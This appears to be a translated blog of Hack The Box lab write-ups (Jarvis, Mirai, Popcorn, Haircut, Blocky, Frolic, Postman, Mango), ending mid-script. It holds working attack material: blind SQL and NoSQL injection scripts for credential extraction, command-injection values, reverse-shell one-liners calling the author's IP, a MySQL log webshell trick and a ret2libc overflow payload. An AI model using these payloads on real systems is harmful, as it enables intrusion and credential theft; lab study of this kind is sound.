At this point I didn’t know the absolute path. Testing showed the current user wasn’t root, and I didn’t know whether it had write permission or what the absolute path was.

All of those factors prevented me from writing a shell, but I found a phpmyadmin instance.

http://supersecurehotel.htb/phpmyadmin/index.php

The path forward was clear: extract the current user’s username and password, then log in and take a look.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests

headers = {
    'Host': '10.10.10.143',
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate',
    'Connection': 'close',
    'Cookie': 'PHPSESSID=2c1jempek07j9n0fdtce3bcgn7',
    'Upgrade-Insecure-Requests': '1'
}

a = open('2.txt','r',encoding='utf-8').readlines()
print("start")
for number in range(1,18):
    for i in a:
        temp = i.replace('\n', '')
        url = f"http://10.10.10.143/room.php?cod=1%20and%20substr((SELECT%20User%20FROM%20mysql.user),{str(number)},1)=%27{temp}%27--+"
        response = requests.get(url=url, headers=headers)
        if response.status_code == 200 and len(response.text) > 6200:
            print(temp, end='', flush=True)
            break

a = open('3.txt','r',encoding='utf-8').readlines()
print("start")
for number in range(2,1000):
    for i in a:
        temp = i.replace('\n', '')
        url = f"http://10.10.10.143/room.php?cod=1%20and%20substr((SELECT%20Password%20FROM%20mysql.user),{str(number)},1)=%27{temp}%27--+"
        print(url)
        response = requests.get(url=url, headers=headers)
        print(response.status_code)
        print(len(response.text))
        if response.status_code == 200 and len(response.text) > 6200:
            print(temp, end='', flush=True)
            break

I wrote a script.

2.txt contains uppercase letters (A-Z), lowercase letters (a-z), digits (0-9), _, and -.

3.txt contains possible password characters. The first character is definitely * and is useless; everything after it is made up of characters, so a character dictionary is enough.

If you use select user() to retrieve the account, it will have @localhost appended.

Crack it.

Successfully logged in.

The version is 4.8.0, so just find a matching exploit.

50457 looks usable.

There are plenty of vulnerabilities once you can access the phpMyAdmin backend. Command execution succeeded.

The shell came back.

Time for privilege escalation. My plan was to stop focusing on the website: I already had the current user’s credentials, the site had nothing else, and there was no need to inspect its configuration files.

There is a log under the pepper directory that records our attacks.

Let’s do the usual privilege-escalation checks. There is still something here.

This is the path forward. Let’s inspect it.

First upload pspy32 and monitor processes in another window, then come back to this. I mainly wanted to catch anything unexpected; if I finished this first, I might miss some processes.

I found several interesting things.

But let’s keep monitoring and inspect that file from earlier first.

I found the key point.

Pass -p as the first argument.

Looking back at the function, it filters the input and rejects concatenation characters. I couldn’t think of a bypass.

Based on previous boxes, this time I thought to Google it directly using English terms.

https://security.stackexchange.com/questions/219605/command-injection-filtering-bypass

That led me to a useful article.

sudo -u pepper /var/www/Admin-Utilities/simpler.py -p

127.0.0.1$(cat /home/pepper/user.txt >/tmp/2)

10.10.66.66$(cat /home/pepper/user.txt)

Let’s test command concatenation.

Both work: one writes directly to a file, while the other causes an error and prints the output.

Successfully read the file. Time to escalate privileges.

I tried many things here before coming up with a good approach. It rejects -, but every reverse-shell method needs it. Switching users with su also failed because it required a password.

Write the reverse-shell command directly into a file: echo “bash -c ’exec bash -i >& /dev/tcp/10.10.16.13/6661’” > /tmp/1.sh

Then call it directly through command concatenation:

10.10.66.66$(sh /tmp/1.sh)

The shell connected back successfully, but there was another problem: this new shell depended on the old one to stay alive. If the old shell disconnected or anything happened to it, the new one became completely useless. The reverse-shell script itself must have been flawed.

Switching to a Python script fixed it.

1
'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

Write it to /tmp/2.py and run it to get a shell back.

The standard privilege-escalation checks didn’t seem to lead anywhere.

Looking back at pspy32, I didn’t see any scheduled tasks. There were only two files running under /root, but I had no permission to inspect them.

Just upload an enumeration script and scan.

The information above is what I collected. The final privilege-escalation path is obviously here.

I found a method, although it was a bit awkward to use. This article explains it well, and I eventually escalated privileges successfully.

https://www.cnblogs.com/zlgxzswjy/p/14781471.html

That’s the end. I learned quite a lot from this one, but unlike the previous boxes, I never got completely stuck; every step was solvable.

Time to read a write-up.

This step used UNION injection and the same method that writes a shell.

The rest of my approach was mostly fine.

13.Mirai

Information gathering:

Nothing on port 22.

Port 53 had no domain name, so it couldn’t be resolved.

Port 80 had an admin page, a version page, and a short message.

Filter out responses of length 61 and continue directory brute-forcing.

I couldn’t find an exploitable vulnerability. The usable ones all required logging in and obtaining a session. Usually you brute-force while also looking for default credentials.

There was nothing on version either. The default credentials are username pi, password raspberry.

Leave that for now and continue.

Absolutely nothing. The only ideas left were SSH and Plex, but Plex was inaccessible. Let’s brute-force directories first.

I got straight in.

Ridiculous.

As expected, it wasn’t that simple.

I researched this afterward and started testing based on my own reasoning, since I had never learned about this before.

I spent a long time doing it the wrong way, and nothing worked.

Eventually I had to read a write-up, where I learned one crucial point.

First: df -h mount lsblk

All three commands show which device is mounted. According to the author’s explanation, deleting something after mounting it doesn’t mean it has also been erased from the original device.

Only this article explained it clearly:

https://0xdf.gitlab.io/2022/05/18/htb-mirai.html

In other words, deletion doesn’t thoroughly erase the data; it only removes the file system’s directory structure. The data is overwritten when new data is written there. Apparently all disks work this way.

cat, grep, and strings all work because they can all inspect the data in the file.

No problem.

grep -aPo ‘[a-zA-Z0-9]{32}’ /dev/sdb

Another lesson learned.

That’s the end. This box broadened my knowledge, and its approach was quite different from the earlier ones. I learned something new.

14.Popcorn

Information gathering:

Port 22 requires a private key.

Port 80 has something on it.

This was originally test.php. Directory brute-forcing reveals it; I renamed it during testing.

Registering grants access to this page, where files can be uploaded. It doesn’t seem to restrict file extensions. The only unclear part was where uploaded files went.

I found an n-day, but according to its description the file should have been under the torrents directory. In reality, it wasn’t there.

I had a good idea here.

http://popcorn.htb/rename/index.php?filename=../torrent/torrents.php&newfilename=../torrent/torrents.txt

Rename it to txt, download it, and audit the code.

It worked.

Finally, I read the PHP files I had found:

torrents.php

upload.php

config.php

To get straight to the point, after reading them I found that the naming scheme takes the current torrent file’s SHA-1 value and appends .btf to form the filename.

The files are stored at http://popcorn.htb/torrent/torrents/

Therefore, the path of the bundled Kali image was http://popcorn.htb/torrent/torrents/723bc28f9b6f924cca68ccdff96b6190566ca6b4.btf

While reading the code, I encountered something new to me: obtaining a torrent file’s SHA-1 value in PHP.

This is how it is extracted, and from the subsequent code:

Everything became obvious. Upload something whose SHA-1 differs from the previous value—download anything from Baidu—add PHP code to it, upload it, and use rename on that filename to get a shell.

Give it any name and upload it.

I got it here as well. Now download it and find its hash.

No problem at all. Just rename it directly.

Access it directly.

It threw an error, but at least it could be parsed. The problem was on my side, so I tried again.

Switching to another file fixed it.

Time for privilege escalation.

This came from config.php. I had actually read it earlier, but I’ll record it again.

There is a th_database.sql file under /var/www/torrent/database. Let’s transfer it locally and inspect it.

There was nothing else.

admin/admin12

torrent/SuperSecret!!

sudo didn’t work.

The home directory contained the torrenthoster.zip source code.

Let’s upload an enumeration script and scan.

Time to check them one by one.

mysqld_safe wasn’t in a scheduled task and had no SUID bit.

The second item suggested that we could run sudo without a password, but it kept asking me for one.

I had no permission for the third item.

pspy32 didn’t show any other processes running.

I had checked almost everything and found nothing exploitable. The only thing left was torrenthoster.zip in George’s directory.

I downloaded and inspected it, but it had nothing either.

I was completely stuck. All I knew was that it claimed sudo needed no password, yet it required one whenever I used it.

The only option left was searchsploit. I found several scripts and uploaded them one by one to scan.

The others wouldn’t run, but this one looked interesting. It found everything and merely told us the password was wrong. Let’s read the code.

After reading it, I realized it meant exactly what it said: just enter toor.

Privilege escalation succeeded. This box was moderately difficult and broadened my thinking.

Done. Time to read a write-up.

https://medium.com/@harellevy159/hackthebox-popcorn-write-up-51500a8d11ff

The privilege-escalation method was different.

After looking at this script, I can only say my search method still needs work. I shouldn’t always include ubuntu; searching for the kernel can uncover other things too.

I also only just remembered this was Dirty COW, one of the most classic privilege-escalation exploits.

As for the exploit I used, they found it based on .cache/motd.legal-displayed, while I searched directly by the Ubuntu version.

My methodology wasn’t complete; I just got lucky. Everything else was much the same. That’s the end.

15.Haircut

Information gathering:

I’ll stick to the key points again. There were three sites and an uploads directory.

The three sites contained three images and nothing else. I checked every image and found nothing.

uploads403

exposed.php had an obvious command-injection vulnerability, since I had encountered it on a previous box.

It was $ command injection again. Many things were blocked, but netcat wasn’t. A connection attempt produced output, so I started building a reverse-shell payload.

[http://localhost/test.html$(netcat](http://localhost/test.html$(netcat) 10.10.16.13 9999 -c sh)

That pops a shell directly.

I can feel myself getting increasingly comfortable with these boxes.

Time for privilege escalation and information gathering.

First spawn a TTY: python3 -c ‘import pty; pty.spawn("/bin/bash")’

The user.txt in Maria’s directory differed from the one on the Desktop.

0b0da2af50e9ab7c81a6ec2c562afeae

152294df041b51863cc9c7b5a52938f2 # This is the one Hack The Box accepts

I ran LinEnum. It reported the kernel version, and I found an exploit for it.

Done. This box was fairly conventional; it only took me 50 minutes.

Still, I needed to read a write-up to learn other approaches. They found Screen 4.5.0 through SUID enumeration and escalated privileges with an exploit for it.

Their foothold method was to access an HTTP server they controlled and use -o to write the output to a PHP file. I barely found anyone using the same approach as mine.

Screen 4.5.0 is actually interesting, so I’ll give it a try.

Even without the earlier privilege escalation, this file would have caught my attention. A normal system doesn’t include it, and it even displays a version.

payload

The error only says a file is missing.

It still failed. Let’s read the code.

It isn’t hard to understand. Compile it myself and then try it on the target.

That was a warning, not an error.

Again, only a warning. The -static option is mainly added because GCC versions differ and other systems may otherwise produce errors.

Transfer it to the target and run the commands one by one.

As expected, it still failed. After analyzing the code, I realized that I did not understand the vulnerability used by libhax—the low-level details are still a bit beyond me. The exploit changes rootshell’s owner to root and sets its permissions to 755, so running rootshell gives us root privileges.

It now looked like the problem had always been with libhax, so I investigated it.

There was actually no problem. I had mistyped the name: I used libhex.so instead of libhax.so. After correcting it, everything ran normally.

Following the commands successfully gave me root privileges.

That’s everything.

16.Blocky

Information gathering:

I’ll get straight to the conclusion again.

There was no vulnerability on port 21. Version 1.3.5 has an exploit that allows unauthenticated file moves, but after trying three exploits and manually testing and reading the code, I found that this target wasn’t vulnerable at all.

Port 22 revealed no information.

Port 80 hosted WordPress. I tested WordPress for a long time without success. It also had phpMyAdmin 4.5.4.1, but there were no relevant vulnerabilities.

WordPress had two users, though that wasn’t important.

There was nothing else.

That left directory brute-forcing, and sure enough it found something. Minecraft is compiled with Java, and I found two JAR files.

I reversed them directly. I had expected to need a Java code audit, but I didn’t.

These credentials let me log in to phpMyAdmin.

There are many ways to get RCE from the backend.

Writing files was banned.

1
2
3
show variables like '%general%';	--Check the configuration, whether logging is enabled, and the default MySQL log path; save the original path for restoration
set global general_log = on;		--Enable logging, which is disabled by default; leaving it enabled can create a very large file
set global general_log_file = '/var/www/html/info.php';		--Set the log path

This method could still write, but the absolute path was always wrong. I then spent a long time trying to find the absolute path.

Eventually I ran out of options and suddenly realized that if phpMyAdmin couldn’t write a shell, I could use the WordPress backend to find the absolute path—or simply get a shell through the backend itself.

Change the first field to md5 and put the password in the second.

It automatically generates a salted password. I generated this one from password:

$P$Bmf0.aAqKmYZ9zmcrtFLx8kjh32HaT1

It can be used directly to log in as Notch/password.

The template could be edited directly. I constructed the URL and got a reverse shell.

http://blocky.htb/wp-content/themes/twentyseventeen/front-page.php

Once I was in, the first thing I did was check the absolute path. This was the path I had entered from the beginning, so why couldn’t SQL write to it?

It was obvious now: the web directory didn’t grant write permission to other users, so naturally it couldn’t write there.

Time for privilege escalation and information gathering.

There was a user named notch. I had deleted its password from the database. If that password could be cracked, perhaps I could su to it here.

Nothing was certain, so I checked each possibility. sudo was unusable for now because it required a password.

This kernel looked very familiar. I uploaded an exploit script directly.

Done. It was conventional penetration testing all the way through, with no unexpected services or anything else.

I did fall into quite a few traps, though, which wasted a lot of time. I need to pick up the pace.

17.Frolic

Information gathering:

There was nothing on SMB.

Port 1880:

There was nothing there, and directory brute-forcing only returned 401. I then guessed the password correctly: admin/password, sent to the /auth/token endpoint.

Requesting it directly returned nothing.

After modifying the request, it returned 401. I couldn’t find anything else in Node-RED. These were the directory brute-force results.

Port 9999:

/admin used client-side validation.

This is what appears after a successful login.

/test is phpinfo.

http://10.10.10.111:9999/backup/

This directory contains three things: user.txt, password.txt, and the /loop directory.

The credentials from user/password were admin/imnothuman.

I couldn’t find a use for them.

The other directories, /loop and /dev, both returned 403.

There was also UDP port 137. I searched for and tried a PoC, but it had no effect.

I brute-forced both 403 directories because I hadn’t enabled recursion.

I found a directory and accessed it successfully, but none of the passwords I had obtained could log in.

There were lots of exploits, so this was probably the real entry point. However, I didn’t know the version. I could either try every exploit or look for the version.

I deliberately downloaded a version from GitHub to compare.

Every directory’s index.html was empty, so I couldn’t find the version number.

Then let’s just try exploits, following this tutorial: https://cloudker.github.io/web-security/2017/05/15/PlaySms-1.4%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90

http://10.10.10.111:9999/playsms/index.php?app=main&inc=core_auth&route=register

Registration is available here.

I was banned, but at least I now knew the directory structure. Surely I wasn’t expected to discover a new vulnerability; this should still be exploitable with an n-day.

I’ll summarize them in reverse order.

48199.txt requires a login and is Metasploit code.

42038.txt requires logging in as a normal user, but we already tried and couldn’t register.

44599.rb is a Metasploit script, so I skipped it.

42044.txt only requires a normal user login and says registration is possible, but we couldn’t register.

42003.txt also requires a normal user login.

The path in 17792.txt didn’t exist on the site or in my source-tree copy. This basically confirmed that the target’s version was newer than the one targeted by 17792.txt, meaning newer than 0.9.9.2.

None of the bundled exploits worked.

I searched Google and looked for default credentials.

Several PoCs failed, and the default admin:admin credentials didn’t work.

At this point I suspected it was another dead end like the earlier ones, with no use at all.

In the end, this was the only directory I found.

I still hadn’t tried SSH, so I went back to test it, but that also failed.

I tried all three passwords against Samba as well, but none worked, and there were no other shares to connect to.

Directory brute-forcing gave another result: loop seemed to repeat through many levels, so I kept appending loop to the path.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests

headers = {
    'Host': '10.10.10.111:9999',
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate',
    'Connection': 'close',
    'Cookie': 'PHPSESSID=gqpklpimfs5kh12tddv3gjgs06',
    'Upgrade-Insecure-Requests': '1'
}

i = 1
url = "http://10.10.10.111:9999/loop"
response = requests.get(url=url,headers=headers)
while response.status_code == 403:
    url += "/loop"
    response = requests.get(url=url, headers=headers)
    i += 1
    print(i,response.status_code,url)

print(response.status_code)
print(response.text)
print(url)

The 42nd level finally returned something. Although the response was 404, I could continue brute-forcing it.

I continued brute-forcing the final loop directory. I suddenly had another idea: with this many pages, something had to be hidden in the source or JavaScript files, so I continued digging through them.

This endpoint also had a CSRF token that could be brute-forced, though that would require another script.

There was a hint at the very bottom.

Malay.

I went through everything. The only hidden content was the material above.

I had explored everything I could, except the incomprehensible encrypted content in succes.html from the beginning.

At this point I was 100% sure it had to be examined, so I started Googling.

I pasted all of the following into Google and got a result:

….. ….. ….. .!?!! .?… ….. ….. …?. ?!.?. ….. ….. ….. ….. ….. ..!.? ….. ….. .!?!! .?… ….. ..?.? !.?.. ….. ….. ….! ….. ….. .!.?. ….. .!?!! .?!!! !!!?. ?!.?! !!!!! !…! ….. ….. .!.!! !!!!! !!!!! !!!.? ….. ….. ….. ..!?! !.?!! !!!!! !!!!! !!!!? .?!.? !!!!! !!!!! !!!!! .?… ….. ….. ….! ?!!.? ….. ….. ….. .?.?! .?… ….. ….. …!. !!!!! !!.?. ….. .!?!! .?… …?. ?!.?. ….. ..!.? ….. ..!?! !.?!! !!!!? .?!.? !!!!! !!!!. ?…. ….. ….. …!? !!.?! !!!!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!.?. ….. ….. ….. .!?!! .?… ….. ….. …?. ?!.?. ….. !…. ….. ..!.! !!!!! !.!!! !!… ….. ….. ….! .?… ….. ….. ….! ?!!.? !!!!! !!!!! !!!!! !?.?! .?!!! !!!!! !!!!! !!!!! !!!!! .?… ….! ?!!.? ….. .?.?! .?… ….. ….! .?… ….. ….. ..!?! !.?.. ….. ….. ..?.? !.?.. !.?.. ….. ..!?! !.?.. ….. .?.?! .?… .!.?. ….. .!?!! .?!!! !!!?. ?!.?! !!!!! !!!!! !!… ….. …!. ?…. ….. !?!!. ?!!!! !!!!? .?!.? !!!!! !!!!! !!!.? ….. ..!?! !.?!! !!!!? .?!.? !!!.! !!!!! !!!!! !!!!! !…. ….. ….. ….. !.!.? ….. ….. .!?!! .?!!! !!!!! !!?.? !.?!! !.?.. ….. ….! ?!!.? ….. ….. ?.?!. ?…. ….. ….. ..!.. ….. ….. .!.?. ….. …!? !!.?! !!!!! !!?.? !.?!! !!!.? ….. ..!?! !.?!! !!!!? .?!.? !!!!! !!.?. ….. …!? !!.?. ….. ..?.? !.?.. !.!!! !!!!! !!!!! !!!!! !.?.. ….. ..!?! !.?.. ….. .?.?! .?… .!.?. ….. ….. ….. .!?!! .?!!! !!!!! !!!!! !!!?. ?!.?! !!!!! !!!!! !!.!! !!!!! ….. ..!.! !!!!! !.?.

1
Nothing here check /asdiSIAJJ0QWE9JAS

Found it.

It was a ZIP file. An ordinary file couldn’t begin with PK, whereas every ZIP file does.

I tried every password I had obtained.

The final password was password.

It decoded to this:

+++++ +++++ [->++ +++++ +++<] >++++ +.— –.++ +++++ .<+

++ [->++ +<]>+

++.<+ ++[-> —<] >—- –.– —– .<+++

+[->+ +++<] >+++. <+++[ ->—

<]>– .<+++ [->++ +<]>+ .–

-. <+++[ ->— <]>– —-. <++++ [->++ ++<]>

++..<

I had learned my lesson this time and pasted it straight into Google.

The default account was admin, and I successfully logged in.

https://www.exploit-db.com/exploits/42044

An automated script for 42044:

https://github.com/jasperla/CVE-2017-9101

It gets a shell directly.

Time for privilege escalation.

Database root privileges.

44298.c matched perfectly, so I uploaded it directly.

It failed because the target was 32-bit. Compiling it for 32-bit should fix it.

gcc 44298.c -m32 -static -o 44298

Well, even after compiling it for 32-bit, it still failed.

After several attempts, I confirmed this exploit simply wouldn’t work.

It says <, but it still doesn’t work.

There was a settings.js file under /home/sahay/.node-red; its password cracked to password.

Node-RED was running as sahay, so compromising Node-RED would directly grant sahay privileges. I continued looking.

I checked these files one by one and found nothing. I could only return to the home directories.

I saw something interesting: there were two public keys above. But to connect, I needed a private key; the public keys were completely useless to me.

The two files were identical.

Continuing through the home directory, I found this:

It had the SUID bit.

It was an ELF binary. Running it briefly produced this prompt:

It repeats whatever you say. This clearly required reverse engineering. I can read some C/C++ code, but I really haven’t learned reverse-engineering assembly.

————————————————- Here I learned that a buffer-overflow technique was required. So far, I had only determined this:

It could accept at most aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa, or 49 characters.

I’ll leave this part unfinished for now and return after learning buffer overflows.


This was the second day on this box. OSCP buffer overflows seem fairly basic, and after studying the fundamentals for a day, I understood them.

I found the rop program again and started analyzing it.

The first setuid pushes a 0, meaning root privileges.

The second location calls the vuln function, passing an eax argument that is ultimately assigned to vuln.

None of that really matters. Our main goal is to locate EIP.

Pass an argument directly.

Use 52 letters to identify the position. You can of course use more characters, as long as they differ.

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz

52 characters caused an error, but the pointer actually landed at 0x08048400, the deregister_tm_clones function.

When 4 filler characters were added after those 52 characters, this happened:

I added 4 characters, all 1s, and their hexadecimal ASCII value appeared. That showed us where EIP was.

Next, locate the target’s dynamic-link library.

Record the address: 0xb7e19000.

We need two functions here, system and exit, to execute a system command and exit the process.

We also need the address of the /bin/sh string.

ww-data@frolic:/home/ayush/.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep " system"

</.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep " system"

1457: 0003ada0 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0

www-data@frolic:/home/ayush/.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep " exit"

</.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep " exit"

141: 0002e9d0 31 FUNC GLOBAL DEFAULT 13 exit@@GLIBC_2.0

www-data@frolic:/home/ayush/.binary$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep “/bin/sh”

</.binary$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep “/bin/sh”

15ba0b /bin/sh

With the offsets found, just add them using a calculator.

0xB7E53DA0

0xB7E479D0

0xB7F74A0B

x86 uses little-endian byte order, so the bytes must be reversed.

\xa0\x3d\xe5\xb7

\xd0\x79\xe4\xb7

\x0b\x4a\xf7\xb7

Write them in recognizable hexadecimal form and concatenate the payload.

./rop $(echo -e “ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\xa0\x3d\xe5\xb7\xd0\x79\xe4\xb7\x0b\x4a\xf7\xb7”)

Executing it completed the box. This one taught me some basic buffer-overflow techniques, which was quite useful. Going deeper still seems difficult, but I’ll look for more buffer-overflow boxes to study later.

18.Postman

I’ll just give the results again.

Port 22 revealed no information.

Port 80 revealed the domain postman.htb, but nothing else. I started directory brute-forcing.

I focused on Redis on port 6379. It allowed unauthenticated access and was version 4.0.9. Writing a shell failed due to insufficient permissions; writing a scheduled task failed for the same reason; writing a public key also failed for the same reason.

In other words, it could write files, but lacked permission in many directories. I could try writing a public key into a home directory, but I didn’t know what users existed, so I left that possibility open.

There was also a master-replica technique, but that couldn’t be exploited either.

Port 10000 ran MiniServ 1.910 (Webmin httpd). Kali’s search found nothing for this version, but Google did, and the version matched exactly.

The prerequisite was a password.

My conclusion so far was that port 22 had no vulnerability. Port 6379 could write files, but not anything that would get a shell; other files could be written without a problem.

Ports 80 and 10000 were the main focus. I searched for UDP port 10000 and found this:

NDMP (Network Data Management Protocol) is a protocol designed specifically for data-backup systems on NAS devices.

However, NDMP uses TCP port 10000, not UDP. This was still worth noting.

For now, I brute-forced ports 80 and 10000. The highest priority was finding the password for port 10000 so I could use the exploit.

I found something interesting. Accessing it without http produced an error, while using https made it hang briefly. At first I thought a redirect was hanging, but now it looked like the backup file was the cause.

This field changed with the domain in the request. It definitely looked exploitable to me, but I didn’t have many ideas.

UDP port 10000 was reachable.

I tried to find client software for this service and connect with it.

I searched for a long time without finding anything. It seemed to be some kind of NetApp daemon. I couldn’t get any information at all, and connecting with nc provided nothing useful.

The previous result was a false positive. This was actually still Webmin.

I had no other options. The framework on port 10000 was currently the clearest lead, so I searched for more PoCs, but still got nowhere.

I went back over everything. Redis on port 6379 still felt like a dead end, but for thoroughness I searched for version-specific vulnerabilities and found another exploit matching the version.

https://gist.github.com/ziednamouchi/d9b57abc1834d7ce3cf43d4d74479baa

The script wouldn’t run and was a little troublesome, but the code was easy enough to read.

This was actually all that was needed.

Connected successfully.

Time for privilege-escalation enumeration. The key points were fairly easy to find thanks to LinEnum.sh.

The encrypted value above was obvious, so I passed it straight to John.

The connection was closed immediately.

I tried connecting locally from the target, but even that failed.

Very strange. I could only inspect the SSH configuration.

Login was disabled.

The key’s passphrase was actually the account password. I switched users successfully.

Continuing privilege escalation, I found several interesting files.

This was actually running as root. In other words, we couldn’t get in without its password, but if we found the password, exploiting it would grant root privileges. The password was probably all that remained, because I had searched many files and tried many things without finding another escalation path.

We couldn’t read most of that directory, so I used find to inspect it.

There was nothing after reading it all. I could only Google where its password file was stored.

/etc/webmin/miniserv.users

But that file was inaccessible.

/root/webmin-1.470/changepass.pl /etc/webmin/ Demo 123456

This command could change it, but I didn’t have permission.

While searching, I found this. We currently had Matt’s password, so let’s try logging in.

It actually worked. Whenever credentials successfully log in somewhere, try credential reuse against the other services.

Not noticing that immediately wasted a lot of my time.

https://github.com/roughiz/Webmin-1.910-Exploit-Script

The code needed a small change. I didn’t have the termcolor package, and it wasn’t important anyway.

Done. I had been blindly overconfident about Redis here. First, I didn’t try an exploit specifically targeting version 4.0.9. Second, I noticed many things but failed to try the most important one: credential reuse.

Everything else was fine.

19.Mango

Information gathering:

There was only one page. Port 22 had nothing, port 80 returned 403, and HTTPS on port 443 served this page. I couldn’t find anything hidden.

Searching for the page returned no results, and I didn’t know what that endpoint was doing.

nmap didn’t identify the framework, and neither did WhatWeb’s fingerprints.

But its title was mango search base, so I could check whether that was a framework.

The versions were all different. I decided to try a few.

As I started testing, I noticed that directory brute-forcing had returned something.

It was 390,000 bytes. It existed on the home page, but at the time I saw nothing in it and ignored it. That was a mistake in my process.

This counted as an error. If the directory wordlist hadn’t included it, I would have wasted much more time. Let’s inspect it again.

Many JavaScript calls failed because they were all remote calls.

There was lots of data here, but it couldn’t be loaded, so the page displayed nothing. I prefer analyzing JavaScript in Chrome; Firefox is too awkward to use.

After accessing it, I found that the JavaScript here somehow worked, even though it was exactly the same request.

I started looking for endpoints on the current page. After a long time, it seemed to be implemented entirely in JavaScript—or perhaps I simply failed to find an endpoint.

I did find something in index.php: adding any parameter after index.php always produced a response like this. It wasn’t useful.

But the SSL certificate actually contained more information.

Sure enough, the outer site had nothing, but this one did. Time to brute-force it.

After trying for ages and finding nothing, I had to read a write-up for the next step. It explained that mongo referred to MongoDB on the backend, and that we needed to exploit NoSQL injection. When an image, domain name, or anything else provides an obvious hint, remember to Google it and look for a matching vulnerability.

When I searched for mongo, the results kept showing MongoDB, but I assumed they were unrelated. It turned out NoSQL was involved too. Another lesson learned.

Once I knew the entry point, I started testing.

https://xz.aliyun.com/t/9908?time__1311=n4%2BxnD0DuDRDci730%3DD%2FiaRmx0o%2BQCi77jYeD#toc-6

I could get in, but it said access was denied. I checked whether I could write a shell, but it didn’t seem able to write files.

Logging in didn’t work either, leaving only one approach: since injection existed, we needed to extract the password and try credential reuse. This was very similar to the previous box.

However, OSCP almost entirely prohibits automated penetration-testing scripts, and one-click NoSQL injection tools didn’t seem to be allowed. I had to learn NoSQL syntax from scratch here.


After a little over 1 hour of crash-course study, I found the target technique here:

https://xz.aliyun.com/t/9908?time__1311=n4%2BxnD0DuDRDci730%3DD%2FiaRmx0hiaWQCC0YeD#toc-2

The [$regex] function provides functionality much like substr.

Its usage is shown here and looks straightforward. We only need a character set.

The character set is string.printable. Remove the unwanted characters from that set, then iterate through the rest one by one. A successful login returns 302.

This relied almost entirely on that article, but there was still a drawback: we couldn’t discover the username. admin was the default, but I didn’t believe it was the only user.

Let’s extract the admin password first.

The admin password has 12 characters. Payload:

username=admin&password[$regex]=.{§1§}&login=login

I continued learning MongoDB and NoSQL injection syntax and found a crucial point.

username[$regex]=^a.*&password[$ne]=1&login=login

The line above is the payload. The linked article described a statement for brute-forcing password, and the same approach works for username.

Constructing username[$regex]=^a.* creates a regular expression that returns a result if a username beginning with a exists. This resembles the a* enumeration vulnerabilities I encountered before: a*, ad*, adm*, admi*, and so on.

This lets us brute-force usernames, but there is another prerequisite: even if the username is correct, we don’t have the corresponding account password. Adding the earlier wildcard condition password[$ne]=1 lets us construct a PoC.

PoC logic: first brute-force the username by iterating over every character. If a exists, add it to the list by itself, then brute-force the following character. Whenever a different response appears, append that character. On the second pass, try (a) plus every character, and continue appending whenever a different response appears. If the nth pass over all characters returns nothing, the complete username has been extracted. A 302 response is the indicator of a successful login.

The same code can be reused to brute-force passwords; the logic is identical.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
import requests
import string

url = "http://staging-order.mango.htb/"

headers = {
    'Host': 'staging-order.mango.htb',
    'Content-Length': '49',
    'Cache-Control': 'max-age=0',
    'Upgrade-Insecure-Requests': '1',
    'Origin': 'http://staging-order.mango.htb',
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'Referer': 'http://staging-order.mango.htb/',
    'Accept-Encoding': 'gzip, deflate',
    'Accept-Language': 'en-US,en;q=0.9',
    'Cookie': 'PHPSESSID=qspndr7i6msn9e8eamalqjadh7',
    'Connection': 'close'
}

# data = 'username[$regex]=^a.*&password[$ne]=1&login=login'
#
# print(requests.post(url=url,headers=headers,data=data, allow_redirects=False).status_code)

list_username = []
flag = True

# #Username
# while True:
#     if list_username != [] and len(list_username) >= 1 and flag:
#         flag = False
#         # post_data_2 = "username[$regex]=^.*&password[$ne]=1&login=login"
#         for i in range(0, len(list_username)):
#             for c in string.printable:
